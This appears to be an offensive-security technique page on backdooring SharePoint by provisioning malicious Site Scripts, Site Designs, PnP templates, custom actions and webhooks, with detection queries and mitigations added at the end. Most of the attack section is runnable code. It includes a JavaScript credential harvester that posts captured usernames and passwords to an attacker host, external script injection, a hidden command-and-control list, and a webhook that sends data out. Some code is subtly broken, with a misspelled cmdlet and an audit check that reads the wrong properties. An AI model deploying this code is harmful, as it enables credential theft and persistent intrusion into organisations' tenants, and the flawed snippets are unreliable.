| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-005 |
| MITRE ATT&CK v18.1 | T1505.003 - Server Software Component: Web Shell |
| Tactic | Persistence |
| Platforms | M365 |
| Severity | Critical |
| CVE | CVE-2025-49706, CVE-2025-53770, CVE-2025-53771 (on-premises); N/A (Online) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | SharePoint Online (all versions); SharePoint Server 2016, 2019, Subscription Edition (on-premises) |
| Patched In | SharePoint Online: Continuously updated; SharePoint Server: See Microsoft KB articles for specific patch versions |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SharePoint Site Scripts are JSON-based provisioning templates that automate site creation and configuration. An attacker with SharePoint Admin or Site Owner privileges can embed malicious PowerShell code, webhooks, or custom actions within a Site Script. When the script is applied to new sites (via Site Design or direct PowerShell execution), the malicious code executes with Site Collection Admin privileges, enabling:
Unlike web shells that may be removed during patching, Site Scripts persist as legitimate SharePoint objects and survive audit reviews if not explicitly examined for malicious code.
Attack Surface: Site Script JSON definitions, Site Designs, PnP provisioning templates, Custom actions, List webhooks, JavaScript in web parts, Publishing infrastructure.
Business Impact: Persistent Backdoor in All Provisioned Sites. Every site created using a compromised Site Script or PnP template inherits malicious code. This enables:
Technical Context: Exploitation requires 10-20 minutes with SharePoint Admin access. Detection likelihood is Low-Medium if Site Script/PnP template audit logging is not enabled. The malicious code is stored in SharePoint’s configuration databases and survives site backups and restores.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.4, 2.2.3 | Disable unnecessary SharePoint features; Restrict admin privileges |
| DISA STIG | O365-SP-1 | SharePoint Admin Center Configuration |
| CISA SCuBA | CA-2(1) | Automated Detection and Prevention |
| NIST 800-53 | AC-2(7)(b), SI-7 | Unauthorized Access Detection; Software, Firmware, and Information Integrity |
| GDPR | Art. 32 | Security of Processing; Integrity and Confidentiality |
| DORA | Art. 10 | Application Resilience and Recovery |
| NIS2 | Art. 21(c) | Supply Chain Risk Management; Code Review |
| ISO 27001 | A.6.1.3, A.9.4.1 | Access Control; Event Logging |
| ISO 27005 | Section 7 | Risk Assessment - Unauthorized Code Execution |
Supported Versions: SharePoint Online (all versions); SharePoint Server 2019+
Prerequisites: SharePoint Admin or Tenant Admin access; PnP PowerShell module installed.
Objective: Create a Site Script that automatically adds a hidden web part to the homepage of every provisioned site. The web part captures user credentials via a fake login prompt.
Command (Create Site Script):
# Connect to SharePoint admin center
Connect-PnPOnline -Url "https://contoso-admin.sharepoint.com" -Interactive
# Create malicious Site Script
$siteScript = @{
"$schema" = "https://developer.microsoft.com/json-schemas/sp/site-design/site-design-definition-schemas/v1/site-design-definition.schema.json"
"actions" = @(
@{
"verb" = "addList"
"listName" = "HiddenAudit"
"templateType" = 100 # Generic list
"subactions" = @(
@{
"verb" = "addField"
"fieldType" = "Text"
"internalName" = "UserCredentials"
"displayName" = "User Credentials"
}
)
},
@{
"verb" = "setSiteProperty"
"key" = "vti_appccachetime"
"value" = "0" # Disable caching (for faster backdoor communication)
},
@{
"verb" = "executeListDesign"
"listName" = "Site Pages"
"subactions" = @(
@{
"verb" = "addWebPart"
"webPartType" = "d6674e3f-3639-4ff1-319e-4184bc6ff764" # Custom Web Part GUID
"webPartProperties" = @{
"Title" = "System Message"
"Description" = "Verify Your Account"
"ExternalScript" = "https://attacker-c2-server.com/credential-harvester.js"
}
}
)
}
)
} | ConvertTo-Json -Depth 10
# Save to file
$siteScript | Out-File "malicious_site_script.json"
# Add the Site Script to SharePoint
$scriptResult = Add-PnPSiteDesriptScript -Title "Standard Team Site (Updated)" `
-Description "Automatic site provisioning" `
-Content (Get-Content "malicious_site_script.json")
Write-Host "Site Script created with ID: $($scriptResult.Id)"
Expected Output:
Site Script created with ID: 12345678-1234-1234-1234-123456789012
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Package the malicious Site Script into a Site Design so it’s automatically applied when users create new team sites.
Command:
# Create Site Design that applies the malicious Site Script
$siteDesign = Add-PnPSiteDesign `
-Title "Team Site Template" `
-Description "Standard team site with security enhancements" `
-SiteScriptIds @($scriptResult.Id) `
-WebTemplate "TeamSite#0" # Applies to all team sites
Write-Host "Site Design created: $($siteDesign.Id)"
# Make Site Design visible to all users (so it's applied automatically)
Set-PnPSiteDesign -Identity $siteDesign.Id -IsDefault $true
Expected Output:
Site Design created: 87654321-4321-4321-4321-210987654321
What This Means:
IsDefault = $true applies the design automatically to all new sites.OpSec & Evasion:
Objective: Inject JavaScript code into every page of every site created with the malicious template. The code monitors login forms and captures credentials.
Command (Advanced - Embed JavaScript in Web Part):
# Create a JavaScript-based custom action (credential harvester)
$jsPayload = @'
// Credential Harvesting Script - Injected via Custom Action
(function() {
// Hook into the login form
var loginForm = document.getElementById("signInForm") || document.querySelector("[role='form']");
if (loginForm) {
loginForm.addEventListener("submit", function(e) {
var username = document.querySelector("input[type='text']").value;
var password = document.querySelector("input[type='password']").value;
// Send credentials to attacker's server
fetch("https://attacker-c2-server.com/log", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
username: username,
password: password,
site: window.location.href,
timestamp: new Date().toISOString()
})
});
// Allow form submission to proceed (avoid suspicion)
return true;
});
}
})();
'@
# Add custom action to the root site (applies to all site collections)
Add-PnPCustomAction `
-Name "CredentialHarvester" `
-Title "System Security Update" `
-Location "ScriptLink" `
-ScriptBlock $jsPayload `
-Scope Web # Scope: Web = affects all subsites
Write-Host "Custom action installed on all sites"
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Create a hidden SharePoint list that serves as a covert command & control (C2) channel. The attacker posts commands to the list; the malicious JavaScript retrieves and executes them.
Command:
# Create hidden C2 communication list
$list = New-PnPList `
-Title "SystemBackupData" `
-Template "GenericList" `
-Url "Lists/SystemBackupData" `
-NoCrawl:$true # Exclude from search
# Hide the list from the UI
Set-PnPList -Identity $list.Id -Hidden $true
# Create field for attacker commands
Add-PnPField -List $list `
-DisplayName "Command" `
-InternalName "Command" `
-Type Text `
-AddToDefaultView $false
# Create field for command output
Add-PnPField -List $list `
-DisplayName "CommandOutput" `
-InternalName "CommandOutput" `
-Type Note `
-AddToDefaultView $false
Write-Host "Hidden C2 list created: SystemBackupData"
What This Means:
NoCrawl: $true) and is hidden (Hidden: $true).OpSec & Evasion:
References & Proofs:
Supported Versions: SharePoint Online (all versions); SharePoint Server 2016+
Prerequisites: SharePoint Admin access; ability to upload or deploy PnP templates.
Objective: Create a PnP (Patterns and Practices) provisioning template in XML format that deploys malicious content during site provisioning.
Command (Create Malicious PnP Template):
cat > malicious_template.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<pnp:Provisioning xmlns:pnp="http://schemas.dev.office.com/PnP/provisioning/202108"
xmlns:pnpc="http://schemas.dev.office.com/PnP/provisioning/ProvisioningControls/202108"
xmlns:pnpd="http://schemas.dev.office.com/PnP/provisioning/Descriptor/202108"
xmlns:pnph="http://schemas.dev.office.com/PnP/provisioning/Hierarchy/202108"
xmlns:pnpv="http://schemas.dev.office.com/PnP/provisioning/ViewFields/202108"
xmlns:pnpst="http://schemas.dev.office.com/PnP/provisioning/SearchSettings/202108"
xmlns:pnppc="http://schemas.dev.office.com/PnP/provisioning/PageContents/202108"
xmlns:pnpi="http://schemas.dev.office.com/PnP/provisioning/Installed/202108"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://schemas.dev.office.com/PnP/provisioning/202108 http://schemas.dev.office.com/PnP/provisioning/ProvisioningSchema-202108.xsd">
<pnp:Preferences Generator="PnP.PowerShell" />
<!-- Malicious Web Part Deployment -->
<pnp:Templates ID="ContosoProv001">
<pnp:ProvisioningTemplate ID="TeamSiteTemplate" Version="1" Scope="RootSite">
<!-- Create Hidden List for Data Exfiltration -->
<pnp:Lists>
<pnp:ListInstance Title="AuditLog" Description="System Audit Records"
TemplateType="100" Url="Lists/AuditLog" Hidden="true" NoCrawl="true">
<pnp:Fields>
<pnp:Field ID="68f5e1c7-7f8d-4b8c-9d5e-8f3c1e8b5a7d" Type="Text"
Name="SiteData" InternalName="SiteData" DisplayName="Site Data" />
</pnp:Fields>
</pnp:ListInstance>
</pnp:Lists>
<!-- Inject Malicious Custom Action -->
<pnp:CustomActions>
<pnp:CustomAction Name="SecurityModule"
Location="ScriptLink"
ScriptSrc="https://attacker-c2-server.com/sp-security-module.js"
Sequence="100" />
</pnp:CustomActions>
<!-- Deploy Malicious SPFx Web Part -->
<pnp:AddIns>
<pnp:AddIn PackageId="00000000-0000-0000-0000-000000000000"
Version="1.0.0.0" />
</pnp:AddIns>
</pnp:ProvisioningTemplate>
</pnp:Templates>
</pnp:Provisioning>
EOF
# Convert XML to base64 for embedding in PowerShell
base64 < malicious_template.xml > template.b64
What This Means:
OpSec & Evasion:
Supported Versions: SharePoint Online (all versions)
Objective: Create a list webhook that sends updates to an attacker-controlled server. The server responds with commands that trigger malicious actions in SharePoint.
Command:
# Create hidden list for C2
$list = New-PnPList -Title "SystemSync" -Template GenericList -Url "Lists/SystemSync" -NoCrawl:$true
Set-PnPList -Identity $list.Id -Hidden $true
# Add webhook to the list
# Webhook will POST to attacker's server whenever items are added/modified
$webhook = Add-PnPWebhookSubscription `
-List $list `
-NotificationUrl "https://attacker-c2-server.com/webhook" `
-ExpirationDateTime (Get-Date).AddMonths(6)
Write-Host "Webhook created: $($webhook.Id)"
Write-Host "Every SharePoint change will be sent to attacker's server"
What This Means:
Rule Configuration:
SPL Query:
index=sharepoint_audit Operation="AddSiteScript" OR Operation="UpdateSiteScript"
| fields _time, UserId, ObjectId, ModifiedProperties
| stats count by UserId
| where count > 0
What This Detects:
Rule Configuration:
SPL Query:
index=sharepoint_audit Operation="CreateList" Hidden=true
| fields _time, ListName, SiteUrl, UserId
| stats count by ListName, SiteUrl
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where Operation in ("AddCustomAction", "UpdateCustomAction")
| where tostring(ModifiedProperties) contains "javascript" or tostring(ModifiedProperties) contains "scriptblock"
| project TimeGenerated, UserId, Operation, TargetResources, ModifiedProperties
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious SharePoint Custom Action with CodeHigh5 minutes1 hourRestrict SharePoint Admin Privileges: Only assign SharePoint Admin role to users who actively manage SharePoint. Use Privileged Identity Management (PIM) for time-bound access. Applies To Versions: All
Manual Steps (Azure Portal):
Audit and Delete Unauthorized Site Scripts: Regularly review all Site Scripts and Site Designs for suspicious code. Delete any unknown or unauthorized scripts. Applies To Versions: All
Manual Steps (SharePoint Admin Center):
Manual Steps (PowerShell):
# Connect to SharePoint
Connect-PnPOnline -Url "https://contoso-admin.sharepoint.com" -Interactive
# Get all Site Scripts
$scripts = Get-PnPSiteScript
foreach ($script in $scripts) {
Write-Host "Script: $($script.Title) | ID: $($script.Id) | Executed: $($script.ExecutedBy)"
# Review content
$content = Get-PnPSiteScript -Identity $script.Id
Write-Host "Content: $content" | Out-Host
}
Enable SharePoint Audit Logging: Log all Site Script, Site Design, and custom action changes. Applies To Versions: All
Manual Steps (SharePoint Admin Center):
Review and Restrict PnP Provisioning Templates: Audit all deployed PnP templates for malicious code. Applies To Versions: All
Manual Steps:
Disable Custom Script in SharePoint (If Feasible): Prevent custom script execution to block JavaScript injection attacks. Applies To Versions: SharePoint Online (on-premises: limited support)
Manual Steps (SharePoint Admin Center):
Note: This may break legitimate SharePoint customizations. Test before deploying organization-wide.
site-scripts/ or pnp-templates/ require 2+ approvalshttps:// in scriptSrc)Hidden="true")Restrict SharePoint Admin Operations# Check audit logging status
$auditStatus = Get-SPOTenant | Select-Object -Property AutoExternalSharingEnabled, DefaultShareLinkPermission
Write-Host "Audit logging enabled: $($auditStatus.AuditLogMaxRetentionInDays) days"
# List all Site Scripts
$scripts = Get-PnPSiteScript
foreach ($script in $scripts) {
Write-Host "Site Script: $($script.Title) | Created by: $($script.ExecutedBy) | ID: $($script.Id)"
}
# Check for hidden lists
Connect-PnPOnline -Url "https://contoso.sharepoint.com" -Interactive
$lists = Get-PnPList | Where-Object { $_.Hidden -eq $true }
Write-Host "Hidden lists found: $($lists.Count)"
foreach ($list in $lists) {
Write-Host " - $($list.Title)"
}
# Check custom actions for suspicious scripts
$actions = Get-PnPCustomAction | Where-Object { $_.ScriptSrc -like "https://*" }
Write-Host "Custom actions with external scripts: $($actions.Count)"
Expected Output (If Secure):
Audit logging enabled: 365 days
Site Script: [List of legitimate scripts only]
Hidden lists found: 0
Custom actions with external scripts: 0 (or only approved URLs)
What to Look For:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains SharePoint admin credentials via phishing |
| 2 | Privilege Escalation | [PE-ACCTMGMT-003] SharePoint Site Collection Admin | Escalate from user to admin |
| 3 | Current Step | [PERSIST-SERVER-005] | SharePoint Site Script Persistence - Deploy malicious provisioning templates |
| 4 | Execution | Malicious Site Scripts execute on all new sites | Credential harvesting, C2 communications |
| 5 | Impact | Data exfiltration from site collections; lateral movement |